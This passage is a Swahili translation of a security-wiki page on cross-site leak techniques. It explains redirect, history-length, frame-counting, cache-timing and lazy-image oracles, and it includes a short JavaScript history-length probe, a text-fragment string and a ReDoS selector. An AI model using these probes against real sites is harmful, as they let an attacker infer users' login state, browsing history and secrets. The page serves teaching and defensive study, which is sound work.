> Kwa ujumla, _jukwaa la wavuti_ halina mipaka juu ya urefu wa URLs (ingawa 2^31 ni kikomo cha kawaida). _Chrome_ inakadiria URLs hadi urefu wa juu wa **2MB** kwa sababu za vitendo na ili kuepuka kusababisha matatizo ya kukataa huduma katika mawasiliano ya kati ya mchakato.
|
|
|
|
Hivyo ikiwa **URL ya uhamasishaji ilijibu ni kubwa katika moja ya kesi**, inawezekana kufanya ihamasishwe na **URL kubwa zaidi ya 2MB** ili kufikia **kikomo cha urefu**. Wakati hii inatokea, Chrome inaonyesha ukurasa wa **`about:blank#blocked`**.
|
|
|
|
Tofauti **inayoonekana**, ni kwamba ikiwa **uhamasishaji** ulikamilika, `window.origin` inatoa **kosa** kwa sababu asili ya cross-origin haiwezi kufikia taarifa hiyo. Hata hivyo, ikiwa **kikomo** kiligongwa na ukurasa ulio loaded ulikuwa **`about:blank#blocked`** asili ya **`window`** inabaki kuwa ya **mzazi**, ambayo ni **taarifa inayoweza kufikiwa.**
|
|
|
|
Maelezo yote ya ziada yanayohitajika kufikia **2MB** yanaweza kuongezwa kupitia **hash** katika URL ya awali ili itumike katika uhamasishaji.
|
|
|
|
{{#ref}}
|
|
xs-search/url-max-length-client-side.md
|
|
{{#endref}}
|
|
|
|
### Max Redirects
|
|
|
|
- **Inclusion Methods**: Fetch API, Frames
|
|
- **Detectable Difference**: Status Code
|
|
- **More info**: [https://docs.google.com/presentation/d/1rlnxXUYHY9CHgCMckZsCGH4VopLo4DYMvAcOltma0og/edit#slide=id.g63edc858f3_0_76](https://docs.google.com/presentation/d/1rlnxXUYHY9CHgCMckZsCGH4VopLo4DYMvAcOltma0og/edit#slide=id.g63edc858f3_0_76)
|
|
- **Summary:** Tumia kikomo cha uhamasishaji wa kivinjari ili kubaini kuwepo kwa uhamasishaji wa URL.
|
|
- **Code Example**: [https://xsinator.com/testing.html#Max%20Redirect%20Leak](https://xsinator.com/testing.html#Max%20Redirect%20Leak)
|
|
|
|
Ikiwa idadi ya **max** ya **uhamasishaji** kufuata ya kivinjari ni **20**, mshambuliaji anaweza kujaribu kupakia ukurasa wake na **uhamasishaji 19** na hatimaye **kumpeleka mwathirika** kwenye ukurasa uliojaribiwa. Ikiwa **kosa** linazuiliwa, basi ukurasa ulikuwa unajaribu **kuhamasisha mwathirika**.
|
|
|
|
### History Length
|
|
|
|
- **Inclusion Methods**: Frames, Pop-ups
|
|
- **Detectable Difference**: Redirects
|
|
- **More info**: [https://xsleaks.dev/docs/attacks/navigations/](https://xsleaks.dev/docs/attacks/navigations/)
|
|
- **Summary:** Msimbo wa JavaScript unashughulikia historia ya kivinjari na unaweza kufikiwa kwa sifa ya urefu.
|
|
- **Code Example**: [https://xsinator.com/testing.html#History%20Length%20Leak](https://xsinator.com/testing.html#History%20Length%20Leak)
|
|
|
|
**API ya Historia** inaruhusu msimbo wa JavaScript kushughulikia historia ya kivinjari, ambayo **huhifadhi kurasa zilizotembelewa na mtumiaji**. Mshambuliaji anaweza kutumia sifa ya urefu kama mbinu ya kujumuisha: kugundua JavaScript na urambazaji wa HTML.\
|
|
**Kuangalia `history.length`**, kumfanya mtumiaji **kuhamasisha** kwenye ukurasa, **kubadilisha** tena **kurudi** kwenye asili sawa na **kuangalia** thamani mpya ya **`history.length`**.
|
|
|
|
### History Length with same URL
|
|
|
|
- **Inclusion Methods**: Frames, Pop-ups
|
|
- **Detectable Difference**: Ikiwa URL ni sawa na ile iliyokisiwa
|
|
- **Summary:** Inawezekana kukisia ikiwa eneo la frame/popup liko katika URL maalum kwa kutumia urefu wa historia.
|
|
- **Code Example**: Chini
|
|
|
|
Mshambuliaji anaweza kutumia msimbo wa JavaScript **kushughulikia eneo la frame/pop-up kwa URL iliyokisiwa** na **haraka** **kuibadilisha kuwa `about:blank`**. Ikiwa urefu wa historia umeongezeka inamaanisha URL ilikuwa sahihi na ilikuwa na muda wa **kuongezeka kwa sababu URL haijareload ikiwa ni sawa**. Ikiwa haikuongezeka inamaanisha ilijaribu **kupakia URL iliyokisiwa** lakini kwa sababu sisi **haraka baada** kupakia **`about:blank`**, **urefu wa historia haukuongezeka** wakati wa kupakia URL iliyokisiwa.
|
|
```javascript
|
|
async function debug(win, url) {
|
|
win.location = url + "#aaa"
|
|
win.location = "about:blank"
|
|
await new Promise((r) => setTimeout(r, 500))
|
|
return win.history.length
|
|
}
|
|
|
|
win = window.open("https://example.com/?a=b")
|
|
await new Promise((r) => setTimeout(r, 2000))
|
|
console.log(await debug(win, "https://example.com/?a=c"))
|
|
|
|
win.close()
|
|
win = window.open("https://example.com/?a=b")
|
|
await new Promise((r) => setTimeout(r, 2000))
|
|
console.log(await debug(win, "https://example.com/?a=b"))
|
|
```
|
|
### Frame Counting
|
|
|
|
- **Inclusion Methods**: Frames, Pop-ups
|
|
- **Detectable Difference**: Page Content
|
|
- **More info**: [https://xsleaks.dev/docs/attacks/frame-counting/](https://xsleaks.dev/docs/attacks/frame-counting/)
|
|
- **Summary:** Tathmini idadi ya vipengele vya iframe kwa kukagua mali ya `window.length`.
|
|
- **Code Example**: [https://xsinator.com/testing.html#Frame%20Count%20Leak](https://xsinator.com/testing.html#Frame%20Count%20Leak)
|
|
|
|
Kuhesabu **idadi ya frames katika wavuti** iliyofunguliwa kupitia `iframe` au `window.open` kunaweza kusaidia kubaini **hali ya mtumiaji juu ya ukurasa huo**.\
|
|
Zaidi ya hayo, ikiwa ukurasa una idadi ile ile ya frames kila wakati, kuangalia **bila kukoma** idadi ya frames kunaweza kusaidia kubaini **mwelekeo** ambao unaweza kuvuja taarifa.
|
|
|
|
Mfano wa mbinu hii ni kwamba katika chrome, **PDF** inaweza **kutambuliwa** kwa **kuhesabu frames** kwa sababu `embed` inatumika ndani. Kuna [Open URL Parameters](https://bugs.chromium.org/p/chromium/issues/detail?id=64309#c113) ambazo zinatoa udhibiti fulani juu ya maudhui kama vile `zoom`, `view`, `page`, `toolbar` ambapo mbinu hii inaweza kuwa ya kuvutia.
|
|
|
|
### HTMLElements
|
|
|
|
- **Inclusion Methods**: HTML Elements
|
|
- **Detectable Difference**: Page Content
|
|
- **More info**: [https://xsleaks.dev/docs/attacks/element-leaks/](https://xsleaks.dev/docs/attacks/element-leaks/)
|
|
- **Summary:** Soma thamani iliyovuja ili kutofautisha kati ya hali 2 zinazowezekana
|
|
- **Code Example**: [https://xsleaks.dev/docs/attacks/element-leaks/](https://xsleaks.dev/docs/attacks/element-leaks/), [https://xsinator.com/testing.html#Media%20Dimensions%20Leak](https://xsinator.com/testing.html#Media%20Dimensions%20Leak), [https://xsinator.com/testing.html#Media%20Duration%20Leak](https://xsinator.com/testing.html#Media%20Duration%20Leak)
|
|
|
|
Kuvuja kwa taarifa kupitia vipengele vya HTML ni wasiwasi katika usalama wa wavuti, hasa wakati faili za media za kidinamik zinaundwa kulingana na taarifa za mtumiaji, au wakati alama za maji zinaongezwa, kubadilisha ukubwa wa media. Hii inaweza kutumiwa na washambuliaji kutofautisha kati ya hali zinazowezekana kwa kuchambua taarifa zinazofichuliwa na vipengele fulani vya HTML.
|
|
|
|
### Information Exposed by HTML Elements
|
|
|
|
- **HTMLMediaElement**: Kipengele hiki kinafichua `duration` na `buffered` za media, ambazo zinaweza kufikiwa kupitia API yake. [Read more about HTMLMediaElement](https://developer.mozilla.org/en-US/docs/Web/API/HTMLMediaElement)
|
|
- **HTMLVideoElement**: Inafichua `videoHeight` na `videoWidth`. Katika baadhi ya vivinjari, mali za ziada kama `webkitVideoDecodedByteCount`, `webkitAudioDecodedByteCount`, na `webkitDecodedFrameCount` zinapatikana, zikitoa taarifa zaidi kuhusu maudhui ya media. [Read more about HTMLVideoElement](https://developer.mozilla.org/en-US/docs/Web/API/HTMLVideoElement)
|
|
- **getVideoPlaybackQuality()**: Kazi hii inatoa maelezo kuhusu ubora wa upigaji video, ikiwa ni pamoja na `totalVideoFrames`, ambayo inaweza kuashiria kiasi cha data ya video iliyop processed. [Read more about getVideoPlaybackQuality()](https://developer.mozilla.org/en-US/docs/Web/API/VideoPlaybackQuality)
|
|
- **HTMLImageElement**: Kipengele hiki kinavuja `height` na `width` ya picha. Hata hivyo, ikiwa picha ni batili, mali hizi zitarudisha 0, na kazi ya `image.decode()` itakataliwa, ikionyesha kushindwa kwa kupakia picha ipasavyo. [Read more about HTMLImageElement](https://developer.mozilla.org/en-US/docs/Web/API/HTMLImageElement)
|
|
|
|
### CSS Property
|
|
|
|
- **Inclusion Methods**: HTML Elements
|
|
- **Detectable Difference**: Page Content
|
|
- **More info**: [https://xsleaks.dev/docs/attacks/element-leaks/#abusing-getcomputedstyle](https://xsleaks.dev/docs/attacks/element-leaks/#abusing-getcomputedstyle), [https://scarybeastsecurity.blogspot.com/2008/08/cross-domain-leaks-of-site-logins.html](https://scarybeastsecurity.blogspot.com/2008/08/cross-domain-leaks-of-site-logins.html)
|
|
- **Summary:** Tambua tofauti katika mtindo wa wavuti zinazohusiana na hali au hadhi ya mtumiaji.
|
|
- **Code Example**: [https://xsinator.com/testing.html#CSS%20Property%20Leak](https://xsinator.com/testing.html#CSS%20Property%20Leak)
|
|
|
|
Programu za wavuti zinaweza kubadilisha mtindo wa **wavuti kulingana na hali ya mtumiaji**. Faili za CSS za kuvuka mipaka zinaweza kuingizwa kwenye ukurasa wa mshambuliaji kwa kutumia **kipengele cha HTML link**, na **sheria** zitatumika kwenye ukurasa wa mshambuliaji. Ikiwa ukurasa unabadilisha sheria hizi kwa kidinamik, mshambuliaji anaweza **kutambua** **tofauti** hizi kulingana na hali ya mtumiaji.\
|
|
Kama mbinu ya kuvuja, mshambuliaji anaweza kutumia njia ya `window.getComputedStyle` ili **kusoma mali za CSS** za kipengele maalum cha HTML. Kama matokeo, mshambuliaji anaweza kusoma mali za CSS zisizo na mipaka ikiwa kipengele kilichohusika na jina la mali kinajulikana.
|
|
|
|
### CSS History
|
|
|
|
- **Inclusion Methods**: HTML Elements
|
|
- **Detectable Difference**: Page Content
|
|
- **More info**: [https://xsleaks.dev/docs/attacks/css-tricks/#retrieving-users-history](https://xsleaks.dev/docs/attacks/css-tricks/#retrieving-users-history)
|
|
- **Summary:** Tambua ikiwa mtindo wa `:visited` umetumika kwa URL ikionyesha kuwa tayari imetembelewa
|
|
- **Code Example**: [http://blog.bawolff.net/2021/10/write-up-pbctf-2021-vault.html](http://blog.bawolff.net/2021/10/write-up-pbctf-2021-vault.html)
|
|
|
|
> [!NOTE]
|
|
> Kulingana na [**hii**](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/), hii haifanyi kazi katika Chrome isiyo na kichwa.
|
|
|
|
Mchoro wa CSS `:visited` unatumika kubadilisha mtindo wa URLs tofauti ikiwa tayari zimetembelewa na mtumiaji. Katika siku za nyuma, njia ya `getComputedStyle()` inaweza kutumika kutambua tofauti hizi za mtindo. Hata hivyo, vivinjari vya kisasa vimeanzisha hatua za usalama ili kuzuia njia hii kufichua hali ya kiungo. Hatua hizi ni pamoja na kurudisha kila wakati mtindo uliohesabiwa kana kwamba kiungo kimetembelewa na kuzuia mitindo ambayo inaweza kutumika na mchoro wa `:visited`.
|
|
|
|
Licha ya vizuizi hivi, inawezekana kutambua hali ya kutembelewa ya kiungo kwa njia isiyo ya moja kwa moja. Mbinu moja inahusisha kumdanganya mtumiaji kuingiliana na eneo lililoathiriwa na CSS, hasa kutumia mali ya `mix-blend-mode`. Mali hii inaruhusu kuchanganya vipengele na mandharinyuma yao, ikifichua hali ya kutembelewa kulingana na mwingiliano wa mtumiaji.
|
|
|
|
Zaidi ya hayo, kutambua kunaweza kufanywa bila mwingiliano wa mtumiaji kwa kutumia muda wa uwasilishaji wa viungo. Kwa kuwa vivinjari vinaweza kuwasilisha viungo vilivyotembelewa na visivyotembelewa tofauti, hii inaweza kuleta tofauti ya muda inayoweza kupimwa katika uwasilishaji. Ushahidi wa dhana (PoC) ulitajwa katika ripoti ya hitilafu ya Chromium, ikionyesha mbinu hii kwa kutumia viungo vingi ili kuimarisha tofauti ya muda, hivyo kufanya hali ya kutembelewa iweze kutambuliwa kupitia uchambuzi wa muda.
|
|
|
|
Kwa maelezo zaidi kuhusu mali hizi na mbinu, tembelea kurasa zao za hati:
|
|
|
|
- `:visited`: [MDN Documentation](https://developer.mozilla.org/en-US/docs/Web/CSS/:visited)
|
|
- `getComputedStyle()`: [MDN Documentation](https://developer.mozilla.org/en-US/docs/Web/API/Window/getComputedStyle)
|
|
- `mix-blend-mode`: [MDN Documentation](https://developer.mozilla.org/en-US/docs/Web/CSS/mix-blend-mode)
|
|
|
|
### ContentDocument X-Frame Leak
|
|
|
|
- **Inclusion Methods**: Frames
|
|
- **Detectable Difference**: Headers
|
|
- **More info**: [https://www.ndss-symposium.org/wp-content/uploads/2020/02/24278-paper.pdf](https://www.ndss-symposium.org/wp-content/uploads/2020/02/24278-paper.pdf)
|
|
- **Summary:** Katika Google Chrome, ukurasa maalum wa makosa unaonyeshwa wakati ukurasa unazuiwa kuingizwa kwenye tovuti ya kuvuka mipaka kutokana na vizuizi vya X-Frame-Options.
|
|
- **Code Example**: [https://xsinator.com/testing.html#ContentDocument%20X-Frame%20Leak](https://xsinator.com/testing.html#ContentDocument%20X-Frame%20Leak)
|
|
|
|
Katika Chrome, ikiwa ukurasa wenye kichwa cha `X-Frame-Options` kimewekwa kuwa "deny" au "same-origin" umeingizwa kama kitu, ukurasa wa makosa unaonekana. Chrome inarudisha kipekee kitu cha hati tupu (badala ya `null`) kwa mali ya `contentDocument` ya kitu hiki, tofauti na katika iframes au vivinjari vingine. Washambuliaji wanaweza kutumia hii kwa kutambua hati tupu, ambayo inaweza kufichua taarifa kuhusu hali ya mtumiaji, hasa ikiwa waendelezaji wanaweka kichwa cha X-Frame-Options kwa kutokuweka sawa, mara nyingi wakisahau kurasa za makosa. Ufahamu na matumizi ya mara kwa mara ya vichwa vya usalama ni muhimu kwa kuzuia uvujaji kama huu.
|
|
|
|
### Download Detection
|
|
|
|
- **Inclusion Methods**: Frames, Pop-ups
|
|
- **Detectable Difference**: Headers
|
|
- **More info**: [https://xsleaks.dev/docs/attacks/navigations/#download-trigger](https://xsleaks.dev/docs/attacks/navigations/#download-trigger)
|
|
- **Summary:** Mshambuliaji anaweza kubaini upakuaji wa faili kwa kutumia iframes; upatikanaji wa kuendelea wa iframe unaashiria upakuaji wa faili uliofanikiwa.
|
|
- **Code Example**: [https://xsleaks.dev/docs/attacks/navigations/#download-bar](https://xsleaks.dev/docs/attacks/navigations/#download-bar)
|
|
|
|
Kichwa cha `Content-Disposition`, hasa `Content-Disposition: attachment`, kinaelekeza kivinjari kupakua maudhui badala ya kuyonyesha ndani. Tabia hii inaweza kutumiwa kugundua ikiwa mtumiaji ana ufikiaji wa ukurasa unaosababisha upakuaji wa faili. Katika vivinjari vya msingi vya Chromium, kuna mbinu chache za kugundua tabia hii ya upakuaji:
|
|
|
|
1. **Ufuatiliaji wa Upakuaji Bar**:
|
|
- Wakati faili inapopakuliwa katika vivinjari vya msingi vya Chromium, upakuaji bar inaonekana chini ya dirisha la kivinjari.
|
|
- Kwa kufuatilia mabadiliko katika urefu wa dirisha, washambuliaji wanaweza kudhani kuonekana kwa upakuaji bar, ikionyesha kuwa upakuaji umeanzishwa.
|
|
2. **Upakuaji wa Navigesheni kwa Iframes**:
|
|
- Wakati ukurasa unaposababisha upakuaji wa faili kwa kutumia kichwa cha `Content-Disposition: attachment`, haileti tukio la navigesheni.
|
|
- Kwa kupakia maudhui katika iframe na kufuatilia matukio ya navigesheni, inawezekana kuangalia ikiwa hali ya maudhui inasababisha upakuaji wa faili (hakuna navigesheni) au la.
|
|
3. **Upakuaji wa Navigesheni bila Iframes**:
|
|
- Kama ilivyo kwa mbinu ya iframe, mbinu hii inahusisha kutumia `window.open` badala ya iframe.
|
|
- Kufuatilia matukio ya navigesheni katika dirisha lililo wazi linaweza kufichua ikiwa upakuaji wa faili ulianzishwa (hakuna navigesheni) au ikiwa maudhui yanaonyeshwa ndani (navigesheni inatokea).
|
|
|
|
Katika hali ambapo ni watumiaji walioingia tu wanaoweza kuanzisha upakuaji kama huu, mbinu hizi zinaweza kutumika kwa njia isiyo ya moja kwa moja kudhani hali ya uthibitisho wa mtumiaji kulingana na majibu ya kivinjari kwa ombi la upakuaji.
|
|
|
|
### Partitioned HTTP Cache Bypass <a href="#partitioned-http-cache-bypass" id="partitioned-http-cache-bypass"></a>
|
|
|
|
- **Inclusion Methods**: Pop-ups
|
|
- **Detectable Difference**: Timing
|
|
- **More info**: [https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass](https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass)
|
|
- **Summary:** Mshambuliaji anaweza kubaini upakuaji wa faili kwa kutumia iframes; upatikanaji wa kuendelea wa iframe unaashiria upakuaji wa faili uliofanikiwa.
|
|
- **Code Example**: [https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass](https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass), [https://gist.github.com/aszx87410/e369f595edbd0f25ada61a8eb6325722](https://gist.github.com/aszx87410/e369f595edbd0f25ada61a8eb6325722) (kutoka [https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/))
|
|
|
|
> [!WARNING]
|
|
> Hii ndiyo sababu mbinu hii ni ya kuvutia: Chrome sasa ina **cache partitioning**, na funguo ya cache ya ukurasa uliofunguliwa hivi karibuni ni: `(https://actf.co, https://actf.co, https://sustenance.web.actf.co/?m =xxx)`, lakini ikiwa nitafungua ukurasa wa ngrok na kutumia fetch ndani yake, funguo ya cache itakuwa: `(https://myip.ngrok.io, https://myip.ngrok.io, https://sustenance.web.actf.co/?m=xxx)`, **funguo ya cache ni tofauti**, hivyo cache haiwezi kushirikiwa. Unaweza kupata maelezo zaidi hapa: [Gaining security and privacy by partitioning the cache](https://developer.chrome.com/blog/http-cache-partitioning/)\
|
|
> (Maoni kutoka [**hapa**](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/))
|
|
|
|
Ikiwa tovuti `example.com` inajumuisha rasilimali kutoka `*.example.com/resource` basi rasilimali hiyo itakuwa na **funguo sawa ya caching** kama vile rasilimali hiyo ilitafutwa moja kwa moja **kupitia navigesheni ya ngazi ya juu**. Hiyo ni kwa sababu funguo ya caching inajumuisha ngazi ya juu _eTLD+1_ na frame _eTLD+1_.
|
|
|
|
Kwa sababu ufikiaji wa cache ni wa haraka zaidi kuliko kupakia rasilimali, inawezekana kujaribu kubadilisha eneo la ukurasa na kulifuta baada ya 20ms (kwa mfano). Ikiwa asili ilibadilishwa baada ya kusitisha, inamaanisha kuwa rasilimali ilihifadhiwa.\
|
|
Au inaweza tu **kutuma baadhi ya fetch kwa ukurasa ambao unaweza kuhifadhiwa na kupima muda inachukua**.
|
|
|
|
### Manual Redirect <a href="#fetch-with-abortcontroller" id="fetch-with-abortcontroller"></a>
|
|
|
|
- **Inclusion Methods**: Fetch API
|
|
- **Detectable Difference**: Redirects
|
|
- **More info**: [ttps://docs.google.com/presentation/d/1rlnxXUYHY9CHgCMckZsCGH4VopLo4DYMvAcOltma0og/edit#slide=id.gae7bf0b4f7_0_1234](https://docs.google.com/presentation/d/1rlnxXUYHY9CHgCMckZsCGH4VopLo4DYMvAcOltma0og/edit#slide=id.gae7bf0b4f7_0_1234)
|
|
- **Summary:** Inawezekana kugundua ikiwa jibu la ombi la fetch ni uelekeo
|
|
- **Code Example**:
|
|
|
|
.png>)
|
|
|
|
### Fetch with AbortController <a href="#fetch-with-abortcontroller" id="fetch-with-abortcontroller"></a>
|
|
|
|
- **Inclusion Methods**: Fetch API
|
|
- **Detectable Difference**: Timing
|
|
- **More info**: [https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller](https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller)
|
|
- **Summary:** Inawezekana kujaribu kupakia rasilimali na kabla ya kupakiwa, upakiaji unakatishwa. Kulingana na ikiwa kosa linatokea, rasilimali ilikuwa au haikuwa imehifadhiwa.
|
|
- **Code Example**: [https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller](https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller)
|
|
|
|
Tumia _**fetch**_ na _**setTimeout**_ na **AbortController** ili kugundua ikiwa **rasilimali imehifadhiwa** na kuondoa rasilimali maalum kutoka kwenye cache ya kivinjari. Zaidi ya hayo, mchakato huu unafanyika bila kuhifadhi maudhui mapya.
|
|
|
|
### Script Pollution
|
|
|
|
- **Inclusion Methods**: HTML Elements (script)
|
|
- **Detectable Difference**: Page Content
|
|
- **More info**: [https://xsleaks.dev/docs/attacks/element-leaks/#script-tag](https://xsleaks.dev/docs/attacks/element-leaks/#script-tag)
|
|
- **Summary:** Inawezekana **kufuta kazi za ndani** na kusoma hoja zao hata kutoka **script za kuvuka mipaka** (ambazo haziwezi kusomwa moja kwa moja), hii inaweza **kuvuja taarifa muhimu**.
|
|
- **Code Example**: [https://xsleaks.dev/docs/attacks/element-leaks/#script-tag](https://xsleaks.dev/docs/attacks/element-leaks/#script-tag)
|
|
|
|
### Service Workers <a href="#service-workers" id="service-workers"></a>
|
|
|
|
- **Inclusion Methods**: Pop-ups
|
|
- **Detectable Difference**: Page Content
|
|
- **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#service-workers](https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#service-workers)
|
|
- **Summary:** Pima muda wa utekelezaji wa wavuti kwa kutumia huduma za wafanyakazi.
|
|
- **Code Example**:
|
|
|
|
Katika hali iliyotolewa, mshambuliaji anachukua hatua ya kujiandikisha **mshauri wa huduma** ndani ya moja ya maeneo yao, hasa "attacker.com". Kisha, mshambuliaji anafungua dirisha jipya katika tovuti lengwa kutoka kwa hati kuu na kuagiza **mshauri wa huduma** kuanzisha kipima muda. Wakati dirisha jipya linaanza kupakia, mshambuliaji anapeleka rejeleo lililopatikana katika hatua ya awali kwenye ukurasa unaosimamiwa na **mshauri wa huduma**.
|
|
|
|
Pale ombi lililoanzishwa katika hatua ya awali linapofika, **mshauri wa huduma** unajibu kwa msimbo wa hali **204 (No Content)**, kwa ufanisi ukimaliza mchakato wa navigesheni. Wakati huu, **mshauri wa huduma** anachukua kipimo kutoka kwa kipima muda kilichoanzishwa mapema katika hatua ya pili. Kipimo hiki kinategemea muda wa JavaScript unaosababisha ucheleweshaji katika mchakato wa navigesheni.
|
|
|
|
> [!WARNING]
|
|
> Katika muda wa utekelezaji inawezekana **kuondoa** **vigezo vya mtandao** ili kupata **vipimo sahihi zaidi**. Kwa mfano, kwa kupakia rasilimali zinazotumiwa na ukurasa kabla ya kuzipakia.
|
|
|
|
### Fetch Timing
|
|
|
|
- **Inclusion Methods**: Fetch API
|
|
- **Detectable Difference**: Timing (kwa ujumla kutokana na Maudhui ya Ukurasa, Msimbo wa Hali)
|
|
- **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#modern-web-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#modern-web-timing-attacks)
|
|
- **Summary:** Tumia [performance.now()](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow) kupima muda inachukua kufanya ombi. Saa nyingine zinaweza kutumika.
|
|
- **Code Example**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#modern-web-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#modern-web-timing-attacks)
|
|
|
|
### Cross-Window Timing
|
|
|
|
- **Inclusion Methods**: Pop-ups
|
|
- **Detectable Difference**: Timing (kwa ujumla kutokana na Maudhui ya Ukurasa, Msimbo wa Hali)
|
|
- **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks)
|
|
- **Summary:** Tumia [performance.now()](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow) kupima muda inachukua kufanya ombi kwa kutumia `window.open`. Saa nyingine zinaweza kutumika.
|
|
- **Code Example**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks)
|
|
|
|
## With HTML or Re Injection
|
|
|
|
Hapa unaweza kupata mbinu za kuhamasisha taarifa kutoka kwa HTML ya kuvuka mipaka **kuingiza maudhui ya HTML**. Mbinu hizi ni za kuvutia katika hali ambapo kwa sababu yoyote unaweza **kuingiza HTML lakini huwezi kuingiza msimbo wa JS**.
|
|
|
|
### Dangling Markup
|
|
|
|
{{#ref}}
|
|
dangling-markup-html-scriptless-injection/
|
|
{{#endref}}
|
|
|
|
### Image Lazy Loading
|
|
|
|
Ikiwa unahitaji **kuhamasisha maudhui** na unaweza **kuongeza HTML kabla ya siri** unapaswa kuangalia **mbinu za kawaida za dangling markup**.\
|
|
Hata hivyo, ikiwa kwa sababu yoyote unapaswa kufanya hivyo **karakter kwa karakter** (labda mawasiliano ni kupitia hit ya cache) unaweza kutumia hila hii.
|
|
|
|
**Picha** katika HTML ina sifa ya "**loading**" ambayo thamani yake inaweza kuwa "**lazy**". Katika kesi hiyo, picha itapakiwa wakati inapoonekana na si wakati ukurasa unapoendelea kupakia:
|
|
```html
|
|
<img src=/something loading=lazy >
|
|
```
|
|
Kwa hivyo, kile unachoweza kufanya ni **kuongeza herufi nyingi za junk** (Kwa mfano **maelfu ya "W"s**) ili **kujaza ukurasa wa wavuti kabla ya siri au kuongeza kitu kama** `<br><canvas height="1850px"></canvas><br>.`\
|
|
Kisha ikiwa kwa mfano **kuingiza kwetu kunaonekana kabla ya bendera**, **picha** itakuwa **imepakiwa**, lakini ikiwa inaonekana **baada** ya **bendera**, bendera + junk itakuwa **zuia kupakiwa** (utahitaji kucheza na kiasi gani cha junk kuweka). Hii ndiyo ilitokea katika [**hiki andiko**](https://blog.huli.tw/2022/10/08/en/sekaictf2022-safelist-and-connection/).
|
|
|
|
Chaguo jingine lingekuwa kutumia **scroll-to-text-fragment** ikiwa inaruhusiwa:
|
|
|
|
#### Scroll-to-text-fragment
|
|
|
|
Hata hivyo, unafanya **bot kuingia kwenye ukurasa** na kitu kama
|
|
```
|
|
#:~:text=SECR
|
|
```
|
|
Hivyo ukurasa wa wavuti utakuwa kama: **`https://victim.com/post.html#:~:text=SECR`**
|
|
|
|
Ambapo post.html ina wahasibu wa mshambuliaji na picha ya kupakia polepole na kisha siri ya bot inaongezwa.
|
|
|
|
Kile maandiko haya yatakachofanya ni kumfanya bot kufikia maandiko yoyote kwenye ukurasa ambayo yana maandiko `SECR`. Kwa kuwa maandiko hayo ni siri na yako tu **chini ya picha**, **picha itapakia tu ikiwa siri iliyokisiwa ni sahihi**. Hivyo unayo oracle yako ili **kuondoa siri hiyo taratibu.**
|
|
|
|
Mfano wa msimbo wa kutumia hili: [https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e](https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e)
|
|
|
|
### Picha ya Kupakia Polepole Kulingana na Wakati
|
|
|
|
Ikiwa **haiwezekani kupakia picha ya nje** ambayo inaweza kumwambia mshambuliaji kwamba picha imepakiwa, chaguo jingine litakuwa kujaribu **kukisia herufi kadhaa na kupima hilo**. Ikiwa picha imepakiwa, maombi yote yatakuwa na muda mrefu zaidi kuliko ikiwa picha haijapakiwa. Hii ndiyo iliyotumika katika [**ufumbuzi wa andiko hili**](https://blog.huli.tw/2022/10/08/en/sekaictf2022-safelist-and-connection/) **iliyofupishwa hapa:**
|
|
|
|
{{#ref}}
|
|
xs-search/event-loop-blocking-+-lazy-images.md
|
|
{{#endref}}
|
|
|
|
### ReDoS
|
|
|
|
{{#ref}}
|
|
regular-expression-denial-of-service-redos.md
|
|
{{#endref}}
|
|
|
|
### CSS ReDoS
|
|
|
|
Ikiwa `jQuery(location.hash)` inatumika, inawezekana kugundua kupitia wakati i**f baadhi ya maudhui ya HTML yapo**, hii ni kwa sababu ikiwa mteuzi `main[id='site-main']` hauendani, haitahitaji kuangalia mteuzi wengine wote:
|
|
```javascript
|
|
$(
|
|
"*:has(*:has(*:has(*)) *:has(*:has(*:has(*))) *:has(*:has(*:has(*)))) main[id='site-main']"
|
|
)
|
|
```
|
|
### CSS Injection
|
|
|
|
{{#ref}}
|
|
xs-search/css-injection/
|
|
{{#endref}}
|
|
|
|
## Defenses
|
|
|
|
Kuna mipango ya kupunguza hatari inayopendekezwa katika [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) pia katika kila sehemu ya wiki [https://xsleaks.dev/](https://xsleaks.dev/). Angalia huko kwa maelezo zaidi kuhusu jinsi ya kujilinda dhidi ya mbinu hizi.
|
|
|
|
## References
|
|
|
|
- [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf)
|
|
- [https://xsleaks.dev/](https://xsleaks.dev)
|
|
- [https://github.com/xsleaks/xsleaks](https://github.com/xsleaks/xsleaks)
|
|
- [https://xsinator.com/](https://xsinator.com/)
|
|
- [https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle](https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle)
|
|
|
|
{{#include ../banners/hacktricks-training.md}}
|